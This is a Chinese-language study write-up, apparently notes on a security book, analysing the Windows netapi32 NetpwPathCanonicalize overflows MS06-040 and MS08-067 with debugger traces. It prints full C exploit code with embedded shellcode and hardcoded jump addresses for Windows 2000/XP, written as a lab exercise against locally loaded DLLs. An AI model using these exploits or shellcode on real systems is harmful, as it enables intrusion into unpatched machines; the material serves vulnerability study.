目录
RPC是分布式计算中经常用到的技术
两台计算机的通讯分为两种:一种是数据交换,一种是进程间的通信。RPC属于后者
RPC其实是在你自己的程序中调用一个函数(可能需要很大的计算量),而这个函数在另外一个或多个远程机器上执行,执行完就回传到我们的机器上的程序进行后续操作
PRC的网络操作对程序员来说是透明的
看了看RPC编程
看到了两张图,挺好
MS06-040
由于win2000难以拉工具进去,我肯定不去做了,这里作者也挺好,给了新的方法,本地调试
就是加载有漏洞的dll,调用漏洞函数
poc代码:
#include <windows.h> typedef void (*MYPROC)(LPTSTR); int main() { char path[0x320]; char can_path[0x440]; int maxbuf=0x440; char prefix[0x100]; long pathtype=44; //load vulnerability netapi32.dll which we got from a WIN2K sp4 host HINSTANCE LibHandle; MYPROC Trigger; char dll[ ] = "./netapi32.dll"; // care for the path char VulFunc[ ] = "NetpwPathCanonicalize"; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); memset(path,0,sizeof(path)); memset(path,'a',sizeof(path)-2); memset(prefix,0,sizeof(prefix)); memset(prefix,'b',sizeof(prefix)-2); //__asm int 3 (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0); FreeLibrary(LibHandle); }
首先加载dll,获取那个漏洞函数的地址,传给函数指针,最后通过函数指针调用漏洞函数
将path和prefix设置成很长的a和b,两个\x00结尾的,这是因为NetpwPathCanonicalize按照Unicode来处理字符串
运行poc
,od附加,eip和esp都被覆盖成0x61了
看看这个函数在哪
那我们去下断点
注意加载完dll才能到那个地址下断点哦,f9停在下面
我们继续f8,在这个函数崩溃
重新载入,f7跟进,继续f8
首先算了一下prefix的长度,为0x7f,即127(127*2+1*2 = 0x100),两个字节当做
一个字符
将prefix复制到栈上
将prefix与"\"连接起来
算一下path的长度,为0x18f=399
后面再连接上path
即prefix+'\'+path
连接上了
我们再看看ebp的地方
由于ecx执行缓冲区开头,我们的shellcode就可以放在开头,返回地址覆盖成jmp ecx就行
用作者常用的插件找一下,作者用的就是下面的
继续看看exp
运行报错, 但能到达shellcode
可能我的系统有点问题
换一台虚拟机就可以了
确实,再换也可以
ida看看
漏洞函数
Windows Xp环境下的MS06-040 exploit
我们实验的是xp sp0, 使用win2000的方法,溢出并没有发生
用ida看看
最终的长度(合并路径长度)要和0x207比较,大于则推出程序,而不是win2000时的0x411
我们算了一下,应该是相对win2000是除以2了
既然这里不能溢出,接下来看看上面一点的代码
若prefix不为0,并指向空字符串,那么var_414就没初始化了
接下来只要长度不超过0x207,就连接上未初始化的var_414
作者说这是一个非常危险的操作,因为var414长度未知,可能超过0x414字节,在连接path就产生溢出了
var414在栈上,作者说内容随机,那么我们怎么控制var414的长度呢
是连续调用当前这个函数
但当前函数是NetpwPathCanonicalize的子函数,不能直接调用,(应该是因为我们现在还没完全获得控制权,只能在程序中写多次调用NetpwPathCanonicalize的代码)
那我们看看NetpwPathCanonicalize函数
首先edi是0,接下来都没更新edi的值
继续
作者说这样保证var414的栈空间不发生变化
我觉得的话是下面这个会破坏栈上的3个dword
我们就用较小的maxbuf就可以让函数返回非0了
看看poc
常量
#define PATH1_SIZE (0xc2*2) #define PATH2_SIZE (0x150*2) #define OUTBUF_SIZE 0x440 #define PREFIX_SIZE 0x410
我们打开exe看看,确实溢出了,0x62应该是pathname2溢出的
我们下断点调试看看
一进来,414全是0
prefix指针不为空,跳转
但这是空字符串,长度为0
长度为0x1c,符合预期
可以看到连接完就覆盖了var414了
再看看path中是否有'/',
有就换成'\\'
之后大于maxbuf(1),跳转,返回非0
看看返回前,栈的状态
返回非0,直接退出了
我们看到第二次连接的时候,返回地址被覆盖了
其实这种也适用win2000,所以这种思路更通用,作者这里没写exploit,我尝试看看
我们看到ecx还是指向var414开始处
那exploit的思路跟之前的是一样的
找一下jmp ecx
用0x71BBFCBE吧
我们改下代码
下面的其实一句就够了
首先PATH2_SIZE
#define PATH2_SIZE (0x150*2)
我们算算覆盖地址的位置(减去两个字节的00,还有通过上面知道多处的4个字节)
那么我们的返回地址布置在 663 664 665 666位置处
调试发现位置多了一个
应该是662 663 664 665 的位置
改完终于可以到达shellcode了
ko
补上exp代码
#include <windows.h> typedef void (__stdcall * MYPROC)(LPTSTR); #define PATH1_SIZE (0xc2*2) #define PATH2_SIZE (0x150*2) #define OUTBUF_SIZE 0x440 #define PREFIX_SIZE 0x410 char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"; int main() { char PathName1[PATH1_SIZE]; char PathName2[PATH2_SIZE]; char Outbuf[OUTBUF_SIZE]; int OutbufLen=OUTBUF_SIZE; char Prefix1[PREFIX_SIZE]; char Prefix2[PREFIX_SIZE]; long PathType1=44; long PathType2=44; //load vulnerability netapi32.dll which we got from a WINXP sp0 host HINSTANCE LibHandle; MYPROC Trigger; char dll[ ] = "./netapi32.dll"; // care for the path char VulFunc[ ] = "NetpwPathCanonicalize"; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); // fill PathName memset(PathName1,0,sizeof(PathName1)); memset(PathName1,'\x90',sizeof(PathName1)-2); //在前面布置shellcode memcpy(PathName1,shellcode,168); memset(PathName2,0,sizeof(PathName2)); //memset(PathName2,0,sizeof(PathName2)); memset(PathName2,'\x90',sizeof(PathName2)-2); PathName2[0x296]=0xBE;// address of CALL ECX PathName2[0x297]=0xFC; PathName2[0x298]=0xBB; PathName2[0x299]=0x71; // set Prefix as a null string,来促发连接上var414 memset(Prefix1,0,sizeof(Prefix1)); memset(Prefix2,0,sizeof(Prefix2)); // call NetpwPathCanonicalize several times to overflow (Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0); (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0); FreeLibrary(LibHandle); }
后面将的是更加通用的exp
他是将返回地址覆盖成0x2080A了,can_path也被覆盖成0x2080A
maxbuf的地址也随机化了,而且数值大,导致将连接后的字符串Buff_OF复制到can_path,即0x2080A处
键入我们shellcode放在开头,就复制到0x2080A,返回的时候就去0x2080A调用shellcode了
这确实有很强的平台兼容性,非常适合蠕虫,因为dll的版本有一点变化,那个地址就可能不一样了
MS08-067
在魔鬼训练营就听说臭名远扬的08-067了
又是一个RPC漏洞,蠕虫Conficker就是利用这个漏洞
竟然还是发生在那个子函数中,但是在不同的地方
我们也看到了针对ms06-040的防御
在复制到目标输出参数之前,将'/'替换为'\\'
继续,如果下面的函数返回0,才会调用后面的函数(看看汇编里面&&判断就知道了),从而触发溢出
漏洞就在sub_5FDDA26B
如果sub_5FDDA26B返回非0,就说明合并路径已符合要求
如果也不超过max_buf,就可以复制到can_path了
作者写了代码进行经典目录移除的测试
结果如下
BEFORE: aaa\bbbb\..\cccc AFTER : aaa\cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\..\..\cccc AFTER : RETVAL: FAIL(0x7B) BEFORE: \aaa\bbbb\..\..\cccc AFTER : \cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\.\cccc AFTER : aaa\bbbb\cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\cccc\. AFTER : aaa\bbbb\cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\.cccc AFTER : aaa\bbbb\.cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\..cccc AFTER : aaa\bbbb\..cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\\cccc AFTER : RETVAL: FAIL(0x7B) BEFORE: \\..\aaa AFTER : \\..\aaa RETVAL: SUCCESS(0x0) BEFORE: \\.\aaa AFTER : \\.\aaa RETVAL: SUCCESS(0x0) BEFORE: \\\.\aaa AFTER : \\\aaa RETVAL: FAIL(0x7B)
我们看看这个函数里面
这里的p1跟作者的不一样
p1永远指向/或者\的下一个字符
而且p1的值复制给了v2
那么p1copy-1就是指向\或者/了
向前搜索,/
开始的时候没有做边界检测,而是在循环中(j!=a1),假如开始的时候就越界了,那就这检测就是费的了
看看作者的程序
虽然返回成功,但仍存在经典目录
确实如作者所说
接下来
eax已经越界
而第一次进入循环后的判断已经少于12f66c了
向前找到时已经很前了
感觉ida的f5有点问题,那就看汇编
之后跳到那里去,之后又往上跳
之后就会再一次执行strcpy
还是复制到之前那个越界的地址
如果设计得当,wcscpy的返回地址将会被覆盖
尝试运行作者的exp,不行,原来作者使用了其他dll的jmp esp,在我的系统不是
在我的系统只是
那就找这个吧
ko
代码:
就修改了一句
#include <windows.h> #include <stdio.h> typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD); // address of jmp esp //#define JMP_ESP "\x5D\x38\x82\x7C\x00\x00" #define JMP_ESP "\x0B\x10\xE0\x5F\x00\x00" //shellcode #define SHELL_CODE \ "\x90\x90\x90\x90" \ "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \ "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \ "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \ "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \ "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \ "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \ "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \ "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \ "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \ "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \ "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00" int main(int argc, char* argv[]) { WCHAR path[256]; WCHAR can_path[256]; DWORD type = 1000; int retval; HMODULE handle = LoadLibrary(".\\netapi32.dll"); MYPROC Trigger = NULL; if (NULL == handle) { wprintf(L"Fail to load library!\n"); return -1; } Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize"); if (NULL == Trigger) { FreeLibrary(handle); wprintf(L"Fail to get api address!\n"); return -1; } path[0] = 0; wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); wcscat(path, JMP_ESP); wcscat(path, SHELL_CODE); can_path[0] = 0; type = 1000; wprintf(L"BEFORE: %s\n", path); retval = (Trigger)(path, can_path, 1000, NULL, &type, 1); wprintf(L"AFTER : %s\n", can_path); wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval); FreeLibrary(handle); return 0; }
漏洞总结
\\aaa\\..\\..\\bbbbbbbbbbbbbbbb
比如这个字符串,第一次时..\\bbbbbbbbbbbbbbbb复制到\\a的第一个\的地址,
这时路径变成..\\bbbbbbbbbbbbbbbb
第二次想去掉..\的时候,他要向前找到\为止,找到再复制过去,那就可以复制到前面的区域去了
接下来作者就说了一下Conficker蠕虫
目前学术界研究蠕虫病毒,主要思路是从网络行为上提取特征进行预警和控制
再传播时会探测性发出大量的扫描数据包,在网络中以指数级别迅速增长,大量占用网络带宽